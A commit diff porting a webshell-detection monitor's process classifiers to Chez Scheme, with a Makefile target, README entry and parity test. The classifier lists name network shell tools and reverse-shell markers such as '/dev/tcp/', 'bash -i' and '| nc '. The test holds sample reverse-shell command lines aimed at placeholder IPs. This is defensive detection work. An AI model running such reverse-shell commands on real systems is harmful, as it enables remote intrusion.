webshell: port WebshellMonitor name/cmdline classifiers (untyped)
ober
37a3432489a765e58706de00b4d6af70c36170c4
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -209,6 +209,13 @@ persistence-check: file-change-check: $(SCHEME) --libdirs $(LIBDIRS) --script examples/file_change_check.ss +# Webshell process classifier (secmon monitor/webshell.rs): is_web_server +# (substring), is_suspicious_child (name exact OR cmdline-substring), and +# get_detection_reason (first cmdline pattern in list order, else default). +# Pure — the /proc scan + PID parent/child walk is the deferred I/O loop. +webshell-check: + $(SCHEME) --libdirs $(LIBDIRS) --script examples/webshell_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss @@ -237,6 +244,7 @@ checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/event_danger_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/persistence_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/file_change_check.ss + $(SCHEME) --libdirs $(LIBDIRS) --script examples/webshell_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -48,6 +48,7 @@ make config-check # AgentConfig defaults + from_env merge + platform db/key p make event-danger-check # mount is_dangerous + capability dangerous_caps predicates make persistence-check # classify_path (-> persistence type) + suspicious-content line scan make file-change-check # is_suspicious_change: setuid/setgid added, critical files, sensitive dirs +make webshell-check # web-server-spawned suspicious child: name/cmdline classifier + reason make checks # every Jerboa-side check in one shot ``` @@ -122,5 +123,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `monitor/events` (danger predicates) | `jsecmon/event-danger.ss` | ✅ **untyped layer** — the payload predicates that drive a mount/capability event's severity, lifted off their structs: `MountEventInfo::is_dangerous` (`mount-danger-reason source target` → reason string, with the faithful corner that the `/` source entry's prefix is `//` so a plain `/foo` is **not** flagged, and dangerous *targets* match exact-only) and `CapabilityEventInfo::dangerous_caps` (`cap_effective` bits → cap names in the Rust push order, full u64 so bits 38/39 work). These compute the booleans `event-meta`'s mount/capability severity helpers consume. Pure, no native lib; `make event-danger-check` asserts against the Rust source. | | `monitor/persistence` (helpers) | `jsecmon/persistence.ss` | ✅ **untyped layer** — `classify_path` (path → `PersistenceType` symbol via an ordered first-match substring chain; `systemd` before `cron`, `.timer` vs service, and the shell-profile arm == the default) and `extract_suspicious_content` (first line matching `SUSPICIOUS_PATTERNS`, returned in original case, truncated to 200 chars + `...`). Faithfully preserves secmon's dead-pattern bug: the line is lowercased before `contains`, so the uppercase patterns `NOPASSWD`/`ALL=(ALL)` can never match. Pure — the directory walk + baseline hashing are the deferred I/O — no native lib; `make persistence-check` asserts against the Rust source. | | `monitor/files` (`FileIntegrityMonitor::is_suspicious_change`) | `jsecmon/file-change.ss` | ✅ **untyped layer** — the deciding logic with stat/hashing stripped (modes + change-type + platform passed in): ordered first-match — setuid then setgid bit *added* (both modes known), exact platform critical file, `authorized_keys`/`cron` substrings, then a platform sensitive dir on `created` only. Pins the order corner that the `cron` substring precedes the sensitive-dir step, so a created `/etc/cron.d/x` reports "Cron configuration modified", never the sensitive-dir message; the critical-files/sensitive-dirs sets switch on `cfg!(target_os)` (linux/freebsd/other). Pure — the `stat`/SHA-256 baseline is the deferred I/O — no native lib; secmon has no `#[test]` here so `make file-change-check` asserts against the Rust source. | +| `monitor/webshell` (`WebshellMonitor` classifiers) | `jsecmon/webshell.ss` | ✅ **untyped layer** — the three pure deciders with the `/proc` scan + parent/child PID walk + event emission stripped: `is_web_server` (lower-cased name **substring** vs the server list, so `php-fpm` matches `php`), `is_suspicious_child` (process name by **exact** lower-cased equality — `bashx` is clean — OR the joined+lowercased cmdline **substring**-matched against the pattern list), and `get_detection_reason` (scans only the cmdline patterns, **in list order**, first match → `Suspicious command pattern: {pat}`, else the default `Web server spawned suspicious process: {name}` with the **original-case** name). obfstr!-hidden lists decode to these plaintext literals. Pins the corner that the reason is chosen by pattern-list order, not cmdline-token order, and that a name-only hit yields the default reason. Pure — the PID walk is the deferred monitor loop — no native lib; secmon has no `#[test]` here so `make webshell-check` asserts against the Rust source. | | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). | | monitors / server / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | new file mode 100644 --- /dev/null +++ b/examples/webshell_check.ss @@ -0,0 +1,71 @@ +;;; Parity check for (jsecmon webshell) against secmon monitor/webshell.rs +;;; (WebshellMonitor::is_web_server / is_suspicious_child / get_detection_reason). +;;; secmon has no #[test] here, so this derives expectations from the Rust source +;;; and IS the spec for the port. +;;; +;;; scheme --libdirs "$JERBOA/lib:." --script examples/webshell_check.ss + +(import (jerboa prelude) + (jsecmon webshell)) + +(def fails 0) +(def (check name got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") name + (if ok "" (str " got " got " want " want))))) + +;; ── is-web-server (lower-cased, SUBSTRING) ─────────────────────────────────── +(displayln "is-web-server:") +(check "nginx" (is-web-server "nginx") #t) +(check "apache2" (is-web-server "apache2") #t) +(check "php-fpm via php" (is-web-server "php-fpm") #t) +(check "uppercase lowered" (is-web-server "NGINX") #t) +(check "substring match" (is-web-server "nginx: worker process") #t) +(check "node" (is-web-server "node") #t) +(check "sshd not server" (is-web-server "sshd") #f) +(check "random not server" (is-web-server "myapp") #f) + +;; ── is-suspicious-child: name EXACT, cmdline SUBSTRING ─────────────────────── +(displayln "is-suspicious-child (name, exact):") +(check "bash exact" (is-suspicious-child "bash" '()) #t) +(check "Bash lowered" (is-suspicious-child "Bash" '()) #t) +(check "bashx not exact" (is-suspicious-child "bashx" '()) #f) ; exact, not substring +(check "nc exact" (is-suspicious-child "nc" '()) #t) +(check "sshd clean" (is-suspicious-child "sshd" '()) #f) +(check "name match, boring cmdline" (is-suspicious-child "sh" '("sh")) #t) + +(displayln "is-suspicious-child (cmdline, substring):") +(check "python -c rev" (is-suspicious-child "app" '("python" "-c" "import socket")) #t) +(check "dev/tcp" (is-suspicious-child "app" '("bash" "-c" "cat</dev/tcp/1.2.3.4/9001")) #t) +(check "boring cmdline" (is-suspicious-child "app" '("echo" "hello")) #f) +(check "empty cmdline boring name" (is-suspicious-child "app" '()) #f) + +;; ── get-detection-reason: cmdline patterns IN ORDER, else default ──────────── +(displayln "get-detection-reason:") +(check "dev/tcp pattern" + (get-detection-reason "app" '("bash" "-c" "sh</dev/tcp/1.1.1.1/53")) + "Suspicious command pattern: /dev/tcp/") +(check "python -c pattern" + (get-detection-reason "app" '("python" "-c" "x")) + "Suspicious command pattern: python -c") +;; pattern-LIST order wins, not cmdline-token order: "bash -i" (#3) before "exec " (#7) +(check "pattern-list order, not token order" + (get-detection-reason "app" '("exec" "bash" "-i")) + "Suspicious command pattern: bash -i") +;; leading-space pattern " 2>&1" +(check "redirect pattern" + (get-detection-reason "app" '("ls" "2>&1")) + "Suspicious command pattern: 2>&1") +;; name-only suspicious (no cmdline pattern) -> default, ORIGINAL-case name +(check "default uses original-case name" + (get-detection-reason "BASH" '("bash")) + "Web server spawned suspicious process: BASH") +(check "default for plain name" + (get-detection-reason "curl" '()) + "Web server spawned suspicious process: curl") + +(newline) +(if (= fails 0) + (displayln "OK: webshell matches secmon's webshell.rs classifiers.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/webshell.ss @@ -0,0 +1,89 @@ +#!chezscheme +;;; jsecmon webshell process classifier (secmon monitor/webshell.rs), untyped. +;;; +;;; The pure classifiers of secmon's WebshellMonitor, with the /proc scan + +;;; parent/child PID walk + event emission (the deferred I/O loop) stripped: +;;; is-web-server : name -> #t | #f +;;; is-suspicious-child : name cmdline -> #t | #f +;;; get-detection-reason : name cmdline -> reason string +;;; `name` is a process name string; `cmdline` is a list of argv strings +;;; (Rust's Vec<String>, joined with " " before matching). +;;; +;;; Faithfulness corners (the Rust depends on each): +;;; * is-web-server lower-cases the name and tests `lower.contains(ws)` — a +;;; SUBSTRING test, so "php-fpm"/"php-cgi" match the "php" entry too. +;;; * is-suspicious-child has TWO checks: the process name is matched by +;;; EXACT equality (`lower_name == s`, NOT substring — "bashx" is clean), +;;; then the joined+lowercased cmdline is matched by SUBSTRING against the +;;; pattern list. Name first, then cmdline. +;;; * get-detection-reason only scans the CMDLINE patterns (in list order, +;;; first match wins) — it does NOT consider the name match. So a process +;;; flagged by NAME alone (empty/boring cmdline) yields the default +;;; "Web server spawned suspicious process: {name}", and that default uses +;;; the ORIGINAL-case name (the pattern branch echoes the lowercase +;;; pattern literal). Pattern order — not cmdline token order — decides +;;; which reason is reported. +;;; +;;; secmon has no #[test] here, so examples/webshell_check.ss derives every +;;; expectation from the Rust source and IS the spec for this port. + +(library (jsecmon webshell) + (export is-web-server is-suspicious-child get-detection-reason + *web-server-names* *suspicious-processes* *suspicious-cmdline-patterns*) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?)) + + ;; WEB_SERVER_NAMES (obfstr! literals, decoded). Matched by substring. + (def *web-server-names* + '("apache2" "httpd" "nginx" "php-fpm" "php-cgi" "php" + "python" "python3" "python2" "ruby" "perl" "node" "nodejs" + "java" "tomcat" "gunicorn" "uwsgi" "unicorn" "puma" "passenger" + "lighttpd" "caddy" "traefik")) + + ;; SUSPICIOUS_PROCESSES (decoded). Matched by EXACT name equality. + (def *suspicious-processes* + '("sh" "bash" "dash" "zsh" "ksh" "csh" "tcsh" "fish" + "nc" "ncat" "netcat" "socat" "curl" "wget" + "python" "python3" "python2" "perl" "ruby" "php" "lua" + "awk" "gawk" "mawk" "sed" + "chmod" "chown" "useradd" "usermod" "passwd" "id" "whoami" "uname" + "cat" "head" "tail" "less" "more" "vi" "vim" "nano" + "base64" "xxd" "od" "gcc" "cc" "make" "as" "ld")) + + ;; SUSPICIOUS_CMDLINE_PATTERNS (decoded). Matched by substring, IN ORDER — + ;; get-detection-reason reports the first that matches. + (def *suspicious-cmdline-patterns* + '("/dev/tcp/" "/dev/udp/" "bash -i" "sh -i" "-c /bin/" "-c /usr/bin/" + "exec " "eval " "| bash" "| sh" "|bash" "|sh" + "base64 -d" "base64 --decode" "python -c" "python3 -c" "perl -e" "ruby -e" + "| nc " "| ncat " " 2>&1" "mkfifo" "mknod" "telnet " + " /tmp/" " /var/tmp/" " /dev/shm/" "wget " "curl " "chmod +x" "chmod 777")) + + ;; WebshellMonitor::is_web_server + (def (is-web-server name) + (let ((lower (string-downcase name))) + (if (for/or ((ws *web-server-names*)) (string-contains lower ws)) #t #f))) + + ;; WebshellMonitor::is_suspicious_child + (def (is-suspicious-child name cmdline) + (let ((lower-name (string-downcase name)) + (cmd (string-downcase (string-join cmdline " ")))) + (if (or (member lower-name *suspicious-processes*) + (for/or ((p *suspicious-cmdline-patterns*)) (string-contains cmd p))) + #t #f))) + + ;; WebshellMonitor::get_detection_reason — cmdline patterns only, in order; + ;; falls back to the original-case process name. + (def (get-detection-reason name cmdline) + (let ((cmd (string-downcase (string-join cmdline " ")))) + (or (for/or ((p *suspicious-cmdline-patterns*)) + (and (string-contains cmd p) (str "Suspicious command pattern: " p))) + (str "Web server spawned suspicious process: " name)))))